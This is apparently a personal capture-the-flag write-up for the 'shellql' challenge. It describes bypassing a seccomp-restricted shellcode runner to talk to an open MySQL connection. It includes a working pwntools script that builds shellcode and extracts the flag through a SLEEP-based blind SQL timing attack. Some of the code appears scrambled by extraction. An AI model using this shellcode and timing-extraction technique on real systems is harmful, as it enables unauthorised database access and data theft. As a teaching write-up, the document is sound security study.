The hardest challenge of not very many I solved in this CTF. What a struggle! I have a long way to improve. It was pretty fun though. (I solved “You Already Know”, and got the essence of “ghettohackers: Throwback”, but didn’t guess the right flag format and believe I was asleep when they released the hint about it.)
The challenge consists of a simple PHP script that opens a MySQL
connection and then feeds our input into a custom PHP extension
shellme.so
.
$link = mysqli_connect('localhost', 'shellql', 'shellql', 'shellql');
if (isset($_POST['shell']))
{if (strlen($_POST['shell']) <= 1000)
{echo $_POST['shell'];
$_POST['shell']);
shellme(
}exit();
}
The extension basically just executes $_POST['shell']
as
shellcode after a strict SECCOMP call, prctl(22,
1).
This means that we can only use the four syscalls read
,
write
, and exit
, and sigreturn
,
where the latter two aren’t particularly useful.

The goal is to read the flag from the open MySQL connection.
To implement this in shellcode, we need to do a little digging into
the MySQL documentation to figure out how the client/server
protocol works. Since the connection is authenticated, we can
fortunately jump straight into the command
phase. From the documentation page for the command phase, we learn
that every command packet starts with a four-byte length field. We want
to submit a COM_QUERY
packet, which just means that after the length field we send
0x03
and then our SQL query. Seems easy enough.
The first obstacle was simply that no matter what shellcode we
submitted, we got an Internal Server Error. I probably spent a few hours
trying to find shellcode that wouldn’t cause an error, mostly with
combinations of ret
, as well as trying to get the extension
running locally on my VM to debug, but I kept getting segmentation
faults whenever I merely loaded the extension locally, even if I didn’t
call it. So nothing worked and I wasn’t even sure if my shellcode was
being run on the server, much less know how to submit a SQL query and
get a response back.
My first breakthrough occurred when I thought of sending the classic
x86 infinite loop \xeb\xfe
(jmp .
, or short
relative jump −2 bytes). When I POSTed this loop, the server took
something like 15 seconds to respond, instead of the usual half a
second. At last, proof that my shellcode was being executed, and the
meager reassurance that if all else failed, I could use a timing attack
to get my shellcode to pass information back to me. I spent some more
time trying to find some way to get output back from my shellcode, but
after struggling for long enough and consulting with my teammates I
resigned to writing shellcode blind to execute the timing attack.
In my first couple attempts, I wrote shellcode that would write a
query, read the result, and then go into an infinite loop if a
particular bit in the result was set. A little experimentation quickly
suggested that the right filehandle was 4. It still took ages because I
was hoping I could get by with extracting the response to the fixed
query SELECT * FROM flag
bit by bit, so I was manually
computing the packet length and XORing with ones to get shellcode
without null bytes to write that query, and then I repeated that process
for a few other queries just to make sure things were working. It took
me a while to recall that pwntools.shellcraft
could help me
write shellcode much more easily:
= "\x03" + query # prepend COM_QUERY indicator
s = len(s)
n = (
a + s, append_null=False) +
shellcraft.amd64.pushstr(p32(n) 'SYS_write', 4, 'rsp', n + 4) +
shellcraft.amd64.linux.syscall('SYS_read', 4, 'rsp', 64)) shellcraft.amd64.linux.syscall(
Eventually, though, I decided this was too slow, because the COM_QUERY Response format was daunting and I did not think I could get to the flag in a reasonable amount of time by reading, exfiltrating, and parsing bits of it at a time.
I played with some other ideas for a while. I considered writing
shellcode to just scan for three O
s in a row in memory and
then spit out the bits after it, instead of examining every bit of the
response from the start, but this felt too hard to correctly implement
while blind and I didn’t feel like trying any harder to set something up
to let me locally test things. (In hindsight,
pwntools.shellcraft
has a function called
egghunter
which does exactly this, so this probably would
have been feasible, but you know what they say about hindsight.) I
observed that although the content of the response to my query might be
fairly hard to read, the OK/error flag byte was much easier to read
because it was just the fifth byte of each response
packet. So, I tried to create a query that would succeed or cause an
error in SQL depending on a bit of the flag. I couldn’t convincingly get
this to work, but while trying this and reading about all the SQL
injections in the wild, I realized that I could use the SQL function
SLEEP
and cause the time delay inside SQL.
The following script is more or less what I finally used to finally
get the flag, at a rate of one agonizing character every half a minute
or so. In theory, my shellcode should block noticeably if the SQL takes
long enough, and go into an infinite loop if the SQL response is an
error so that we’d be fine even if the SLEEP
was
interrupted prematurely by something other than the alarm
or something. For reasons I’m not sure of, this was still not
particularly reliable; sometimes, even with a correct prefix, it would
terminate after only one second or so. The script is also very sketchy
because it currently skips checking the special characters
%!_
when it should just escape them; it would have failed
if the flag contained any of these characters. But such a fix would be
easy to implement, and it seemed to have no false positives and got us
to a guessable flag, so here we go.
from __future__ import division, print_function
from pwn import *
import requests
import time
= "amd64"
context.arch
def run_query(s):
= "\x03" + s # prepend COM_QUERY indicator
s = len(s)
n = (
a + s, append_null=False) +
shellcraft.amd64.pushstr(p32(n) 'SYS_write', 4, 'rsp', n + 4) +
shellcraft.amd64.linux.syscall('SYS_read', 4, 'rsp', 64) + """
shellcraft.amd64.linux.syscall( pop rax
""" +
'rbx', 0xff00000000) + """
shellcraft.amd64.mov( xor rax, rbx
test rax, rbx
jz ."""
)# print(a)
= asm(a)
shellcode = time.time()
t = requests.post('http://b9d6d408.quals2018.oooverflow.io/cgi-bin/index.php',
r ={'shell': shellcode})
dataprint(r.content)
= time.time()
t2 print(t2 - t)
return t2 - t
= ""
prefix while True:
for cc in map(chr, range(32, 127)):
if cc == "'" or cc == "%" or cc == "_": continue
= prefix + cc
cur_prefix print(cur_prefix)
= run_query("select if(exists(select * from flag where flag like '" +
t + "%'), sleep(1000), 1)")
cur_prefix if t > 2:
= cur_prefix
prefix break
Running the script, waiting a very long time for it to spit out one character at a time while playing Kittens Game in the background, then fixing the letter cases gives us the flag:
OOO{shellcode and webshell is old news, get with the times my friend!}